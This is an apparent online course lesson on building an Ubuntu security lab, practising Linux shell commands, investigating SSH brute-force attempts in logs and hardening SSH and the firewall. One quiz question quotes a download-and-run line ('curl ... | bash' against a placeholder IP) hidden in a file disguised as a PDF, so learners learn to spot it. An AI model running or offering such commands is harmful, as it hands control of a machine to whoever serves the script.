By the end of this lesson you can
- Set up a safe Ubuntu lab VM with NAT and host-only networking and snapshots
- Complete nine shell missions covering files, permissions and log analysis
- Use find, grep, awk, sort and uniq to answer real investigation questions
- Investigate SSH failures in auth.log and journalctl and write an incident note
- Harden SSH and the firewall and verify the result
Build your Linux lab the right way
A lab is a set of machines that belong to you, isolated from anything you do not own, that you can break and restore at will. A laptop with 8 GB of RAM is enough to start.
| Setting | Recommended | Why |
|---|---|---|
| Hypervisor | VirtualBox (free) or VMware Workstation Pro (now free for personal use) | runs VMs on Windows, Linux or Intel Macs; Apple Silicon Macs use UTM with ARM images |
| Guest OS | Ubuntu Server or Desktop 24.04 LTS | what real servers run; Desktop is friendlier at first |
| CPU and RAM | 2 vCPU, 2 to 4 GB RAM | leave at least half your RAM for the host |
| Disk | 25 GB, dynamically allocated | only uses space as it fills |
| Adapter 1 | NAT | internet access for updates, hidden from your home network |
| Adapter 2 | Host-only | lets your own PC SSH into the VM on a private network |
| Network mode | VM can reach internet | Other devices on your Wi-Fi can reach VM | Use it for |
|---|---|---|---|
| NAT | yes | no | default, safe, updates |
| Host-only | no | no, only your PC | SSH and lab traffic between your own machines |
| Internal network | no | no, only other VMs | isolated attacker and victim VMs |
| Bridged | yes | yes, VM is like a new device on your network | avoid for vulnerable or attack VMs |
Snapshots are your undo button. Take one after installation and before every risky exercise.
Only on machines you own. Everything in this lab runs inside your own VMs on your own computer. Scanning, logging into or testing any system you do not own, or do not have written permission to test, can be an offence under the Information Technology Act, 2000 (for example Sections 43 and 66). College and office networks are not your lab unless the owner has given you permission in writing.
More detail on safe setups is in how to set up a safe home lab.
Warm up: nine missions in a safe browser shell
Before touching your VM, practise in this simulated shell. It behaves like Ubuntu for the common commands, and it contains a real looking /var/log/auth.log with an SSH brute force attack in it. Your missions are on the right. Press Tab to complete names and Up for history.
Missions 0/9
Stuck? Each mission has a hint button. Reset restores the starting files.
On your VM: eight drills that cover daily work
Now repeat it for real. Open a terminal in your Ubuntu VM and work through each drill. Read what each command prints before moving on; that is where the learning happens.
1. Navigation and files
$ cd ~ && mkdir -p practice/{logs,scripts,notes}
$ cd practice && tree . || ls -R
$ cp /etc/hosts notes/ && mv notes/hosts notes/hosts.bak
$ rm -r notes && lsUse sudo apt install tree if tree is missing. Brace expansion {a,b} made three folders at once.
2. Find things
$ find /etc -name '*.conf' 2>/dev/null | head
$ find ~ -type f -mmin -60
$ grep -rn 'PermitRootLogin' /etc/ssh/ 2>/dev/null
$ which python3 && file $(which python3)-mmin -60 means changed in the last 60 minutes: a quick way to see what an intruder just touched.
3. Text processing
$ sudo grep -c 'session opened' /var/log/auth.log
$ cut -d: -f1,7 /etc/passwd | head
$ sudo tail -f /var/log/auth.log
# press Ctrl+C to stop followingKeep tail -f running in one terminal while you log in over SSH from another, and watch the lines appear live.
4. Permissions
$ echo 'echo hello from script' > hello.sh
$ ./hello.sh
$ chmod 750 hello.sh && ls -l hello.sh && ./hello.sh
$ sudo chown root:root hello.sh && ls -l hello.shThe first run fails with Permission denied. After chmod it works. After chown to root, try echo x >> hello.sh and see it refused.
5. Users and sudo
$ sudo adduser intern
$ id intern && sudo -l -U intern
$ su - intern
$ sudo whoami
$ exitAs intern, sudo is refused because intern is not in the sudo group. Remove the account afterwards with sudo deluser --remove-home intern.
6. Packages and updates
$ sudo apt update && apt list --upgradable
$ sudo apt upgrade -y
$ sudo apt install -y htop net-tools
$ apt show openssh-server | headCheck whether unattended-upgrades is installed: systemctl status unattended-upgrades.
7. Processes and services
$ ps aux --sort=-%mem | head
$ sleep 600 &
$ jobs && pgrep -a sleep
$ kill %1
$ systemctl list-units --type=service --state=runningBackground a job with &, find it, and stop it.
8. Networking from the shell
$ ip -br a && ip route
$ sudo ss -tulnp
$ curl -sI https://www.cyberwithmadhav.com | head -5
$ dig +short cyberwithmadhav.comMatch every listening port in ss to a program.
Mini investigation: catch an SSH brute force on your own VM
Now you will attack your own VM in the gentlest possible way, a few wrong passwords from your own PC, and then investigate it like a SOC analyst.
- Install and start SSH on the VM:
sudo apt install -y openssh-server, thensystemctl status ssh. - Find the host-only address:
ip -br a, usually something like192.168.56.101. - From your own PC (Windows Terminal and macOS both include ssh), try a user that does not exist three times and type wrong passwords:
ssh fakeadmin@192.168.56.101. Then log in properly once as your real user. - Investigate on the VM:
$ sudo grep -E 'Failed password|Invalid user' /var/log/auth.log | tail
$ sudo grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
$ sudo grep 'Accepted' /var/log/auth.log | tail -3
$ journalctl -u ssh --since today | grep -i fail
$ last -a | head
$ lastb -a | headWrite a three line incident note: what happened, from which IP, at what time, and whether any login succeeded. That note is exactly what a level 1 SOC analyst writes many times a day.
Harden your VM: a checklist you can reuse on real servers
# 1. Patch
$ sudo apt update && sudo apt upgrade -y
# 2. Firewall: allow SSH only from your host-only network
$ sudo ufw default deny incoming
$ sudo ufw allow from 192.168.56.0/24 to any port 22 proto tcp
$ sudo ufw enable && sudo ufw status verbose
# 3. SSH keys: run this on YOUR PC, not the VM
$ ssh-keygen -t ed25519
$ ssh-copy-id youruser@192.168.56.101On Windows, if ssh-copy-id is missing, copy the contents of your .pub file into ~/.ssh/authorized_keys on the VM. Confirm that key login works before the next step, or you will lock yourself out (restore your snapshot if you do).
# 4. Turn off password and root login over SSH
$ sudo nano /etc/ssh/sshd_config.d/10-hardening.conf
# put these two lines in the file:
PasswordAuthentication no
PermitRootLogin no
$ grep -ri passwordauthentication /etc/ssh/sshd_config.d/
$ sudo sshd -t && sudo systemctl restart sshThe grep line matters: some images ship another file in sshd_config.d that sets PasswordAuthentication yes, and for each setting OpenSSH uses the first value it reads, with files in that folder read in name order. sshd -t checks the syntax before you restart. Now try ssh fakeadmin@... again: you should get Permission denied (publickey) without even a password prompt.
| Check | Command | Good result |
|---|---|---|
| Pending updates | apt list --upgradable | nothing listed |
| Firewall | sudo ufw status | active, only port 22 from your lab subnet |
| Listening services | sudo ss -tulnp | only what you expect |
| UID 0 accounts | awk -F: '$3==0' /etc/passwd | root only |
| SUID files | find / -perm -4000 -type f 2>/dev/null | standard system tools only |
| SSH password login | sudo sshd -T | grep -i passwordauth | passwordauthentication no |
Flashcards: do you remember?
Tap a card to flip it. Try to answer in your head first; recalling is what makes it stick.
Quick quiz
Instant feedback on every answer. Score 70% or more to pass this lesson's quiz.
Q1Which VirtualBox mode should a deliberately vulnerable VM avoid?
Bridged puts the VM directly on your home or college network where others can reach it.
Q2What does sort | uniq -c | sort -rn produce?
uniq needs sorted input; -c counts; sort -rn orders numerically, highest first.
Q3You disabled SSH passwords but password logins still work. What should you check first?
OpenSSH uses the first value it reads, and drop in files can override yours.
Q4Before turning off password login over SSH, you must:
Otherwise you can lock yourself out.
Q5A file named invoice_2026.pdf.sh contains curl -s http://198.51.100.7/x | bash. What is it?
Piping a download straight into bash runs whatever the server sends.
Q6Which command lists only listening TCP and UDP ports with their programs?
ss -t TCP, -u UDP, -l listening, -n numeric, -p process.
Hands-on lab
Lab checklist: track your VM work
You need: VirtualBox, the Ubuntu 24.04 LTS ISO, and your own PC for the SSH steps. Tick each step as you finish it; progress stays in this browser.
Only on machines you own. Do this lab on your own VM or computer. Scanning, testing or accessing anyone else's system without written permission can be an offence under the Information Technology Act, 2000 (for example Sections 43 and 66).
Build the VM
Create the VM with the settings in section 1: NAT on adapter 1, host-only on adapter 2. Install Ubuntu and all updates.
Snapshot: clean
Power off and take a snapshot named
clean.Finish the nine browser missions
Complete every mission in the practice shell above.
Complete the eight drills
Work through all eight drills on the VM and keep your notes.
Investigate the SSH failures
Generate failures from your PC, find them in the logs and write the three line incident note.
Harden and verify
Apply the hardening steps, then confirm every row of the checklist table shows the good result.
Snapshot: hardened
Take a second snapshot named
hardened. This is your base for the next stages.
You are done when: You have a hardened Ubuntu VM with two snapshots, notes from eight drills, and an incident note about a brute force you detected yourself.
Key takeaways
- A real lab is isolated, owned by you and restorable with snapshots.
- grep, awk, sort and uniq answer most first questions in a Linux investigation.
- SSH open with passwords will be brute forced; logs show it clearly.
- Keys, no root login, a tight firewall and updates stop most of it.
- Write down what you find. Notes and incident reports are the job.
Finished the sections, quiz and lab? Mark the lesson complete. Progress is saved only in this browser.